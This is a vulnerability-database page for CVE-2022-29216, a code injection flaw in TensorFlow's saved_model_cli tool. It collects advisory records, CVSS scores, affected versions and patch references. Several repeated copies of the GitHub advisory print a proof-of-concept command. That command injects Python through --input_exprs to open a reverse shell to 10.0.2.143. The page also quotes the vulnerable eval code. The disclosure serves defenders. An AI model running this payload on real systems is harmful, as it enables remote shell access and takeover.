CVE-2022-29216
Code injection in `saved_model_cli` in TensorFlow
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's saved_model_cli tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the safe=False argument, so all parsing is done without calling eval. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.8
Code injection in `saved_model_cli` in TensorFlow
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's saved_model_cli tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the safe=False argument, so all parsing is done without calling eval. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.
- Record
CVE-2022-29216- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2022-2924
7.8
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's saved_model_cli tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the safe=False argument, so all parsing is done without calling eval. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.
- Record
EUVD-2022-2924- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-75c9-jrh4-79mc
7.8
Code injection in `saved_model_cli` in TensorFlow
Impact
TensorFlow's saved_model_cli tool is vulnerable to a code injection:
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
This can be used to open a reverse shell
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
# ...
for input_raw in filter(bool, input_exprs_str.split(';')):
# ...
if safe:
# ...
else:
# ast.literal_eval does not work with numpy expressions
input_dict[input_key] = eval(expr) # pylint: disable=eval-used
return input_dict
This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.
However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.
Patches
We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.
- Record
GHSA-75c9-jrh4-79mc- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
7.8
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's saved_model_cli tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the safe=False argument, so all parsing is done without calling eval. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.
- Record
CVE-2022-29216- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - CVSS 2.0
- 4.6 Medium
AV:L/AC:L/Au:N/C:P/I:P/A:P - Weakness
- CWE-94
- Updated
- 2026-11-02
OSV
7.8
Code injection in `saved_model_cli` in TensorFlow
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's saved_model_cli tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the safe=False argument, so all parsing is done without calling eval. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.
- Record
CVE-2022-29216- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-75c9-jrh4-79mc
7.8
Code injection in `saved_model_cli` in TensorFlow
Impact
TensorFlow's saved_model_cli tool is vulnerable to a code injection:
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
This can be used to open a reverse shell
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
# ...
for input_raw in filter(bool, input_exprs_str.split(';')):
# ...
if safe:
# ...
else:
# ast.literal_eval does not work with numpy expressions
input_dict[input_key] = eval(expr) # pylint: disable=eval-used
return input_dict
This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.
However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.
Patches
We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.
- Record
GHSA-75c9-jrh4-79mc- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
Show 4 moreShow less
OSVPYSEC-2026-3125
7.8
Code injection in `saved_model_cli` in TensorFlow
Impact
TensorFlow's saved_model_cli tool is vulnerable to a code injection:
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
This can be used to open a reverse shell
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
# ...
for input_raw in filter(bool, input_exprs_str.split(';')):
# ...
if safe:
# ...
else:
# ast.literal_eval does not work with numpy expressions
input_dict[input_key] = eval(expr) # pylint: disable=eval-used
return input_dict
This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.
However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.
Patches
We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.
- Record
PYSEC-2026-3125- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVPYSEC-2026-3289
7.8
Code injection in `saved_model_cli` in TensorFlow
Impact
TensorFlow's saved_model_cli tool is vulnerable to a code injection:
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
This can be used to open a reverse shell
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
# ...
for input_raw in filter(bool, input_exprs_str.split(';')):
# ...
if safe:
# ...
else:
# ast.literal_eval does not work with numpy expressions
input_dict[input_key] = eval(expr) # pylint: disable=eval-used
return input_dict
This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.
However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.
Patches
We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.
- Record
PYSEC-2026-3289- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVPYSEC-2026-963
7.8
Code injection in `saved_model_cli` in TensorFlow
Impact
TensorFlow's saved_model_cli tool is vulnerable to a code injection:
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
This can be used to open a reverse shell
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
# ...
for input_raw in filter(bool, input_exprs_str.split(';')):
# ...
if safe:
# ...
else:
# ast.literal_eval does not work with numpy expressions
input_dict[input_key] = eval(expr) # pylint: disable=eval-used
return input_dict
This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.
However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.
Patches
We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.
- Record
PYSEC-2026-963- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVBIT-tensorflow-2022-29216 No score
Code injection in `saved_model_cli` in TensorFlow
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's saved_model_cli tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the safe=False argument, so all parsing is done without calling eval. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.
- Record
BIT-tensorflow-2022-29216- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
tensorflowPyPI |
before 2.6.4 | 2.6.4 |
tensorflow-cpuPyPI |
before 2.6.4 | 2.6.4 |
tensorflow-gpuPyPI |
before 2.6.4 | 2.6.4 |
tensorflowPyPI |
2.7.0 up to 2.7.2 | 2.7.2 |
tensorflowPyPI |
2.8.0 up to 2.8.1 | 2.8.1 |
tensorflow-cpuPyPI |
2.7.0 up to 2.7.2 | 2.7.2 |
tensorflow-cpuPyPI |
2.8.0 up to 2.8.1 | 2.8.1 |
tensorflow-gpuPyPI |
2.7.0 up to 2.7.2 | 2.7.2 |
tensorflow-gpuPyPI |
2.8.0 up to 2.8.1 | 2.8.1 |
tensorflowBitnami |
before 2.6.4, 2.7.0 up to 2.7.2, 2.8.0 up to 2.8.1 | 2.6.42.7.22.8.1 |
Show 9 moreShow less
| Package | Affected | Fixed |
|---|---|---|
tensorflowPyPI |
before 2.6.4, plus listed versions 0.12.00.12.11.0.01.0.11.1.0 Show 45 moreShow less1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.4 |
2.6.4 |
tensorflow-cpuPyPI |
before 2.6.4, plus listed versions 1.15.02.1.02.1.12.1.22.1.3 Show 23 moreShow less2.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.42.4.02.4.12.4.22.4.32.4.42.5.02.5.12.5.22.5.32.6.02.6.12.6.22.6.3 |
2.6.4 |
tensorflow-gpuPyPI |
before 2.6.4, plus listed versions 0.12.00.12.11.0.01.0.11.1.0 Show 45 moreShow less1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.4 |
2.6.4 |
tensorflowPyPI |
2.7.0 up to 2.7.2, plus listed versions 2.7.1 |
2.7.2 |
tensorflow-cpuPyPI |
2.7.0 up to 2.7.2, plus listed versions 2.7.1 |
2.7.2 |
tensorflow-gpuPyPI |
2.7.0 up to 2.7.2, plus listed versions 2.7.1 |
2.7.2 |
tensorflowPyPI |
before 2.6.4, 2.7.0 up to 2.7.2, 2.8.0 up to 2.8.1, plus listed versions 0.12.00.12.11.0.01.0.11.1.0 Show 45 moreShow less1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.4 |
2.6.42.7.22.8.1 |
tensorflow-cpuPyPI |
before 2.6.4, 2.7.0 up to 2.7.2, 2.8.0 up to 2.8.1, plus listed versions 1.15.02.1.02.1.12.1.22.1.3 Show 24 moreShow less2.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.42.4.02.4.12.4.22.4.32.4.42.5.02.5.12.5.22.5.32.6.02.6.12.6.22.6.32.7.1 |
2.6.42.7.22.8.1 |
tensorflow-gpuPyPI |
before 2.6.4, 2.7.0 up to 2.7.2, 2.8.0 up to 2.8.1, plus listed versions 0.12.00.12.11.0.01.0.11.1.0 Show 45 moreShow less1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.4 |
2.6.42.7.22.8.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2022-29216 is a high vulnerability (CVSS 7.8) in Google Tensorflow, published May 20, 2022. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.55%, the 46th percentile. Fixed in tensorflow 2.6.4.
References
github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7
github.com/tensorflow/tensorflow/releases/tag/v2.6.4
github.com/tensorflow/tensorflow/releases/tag/v2.7.2
github.com/tensorflow/tensorflow/releases/tag/v2.8.1
github.com/tensorflow/tensorflow/releases/tag/v2.9.0
github.com/tensorflow/tensorflow/security/advisories/GHSA-75c9-jrh4-79mc
Show 9 moreShow less
github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac
github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py
nvd.nist.gov/vuln/detail/CVE-2022-29216
github.com/advisories/GHSA-75c9-jrh4-79mc
github.com/CVEProject/cvelistV5/tree/main/cves/2022/29xxx/CVE-2022-29216.json
github.com/tensorflow/tensorflow
pypi.org/project/tensorflow
pypi.org/project/tensorflow-cpu
pypi.org/project/tensorflow-gpu
Left out here: 60 versions. The JSON record has them.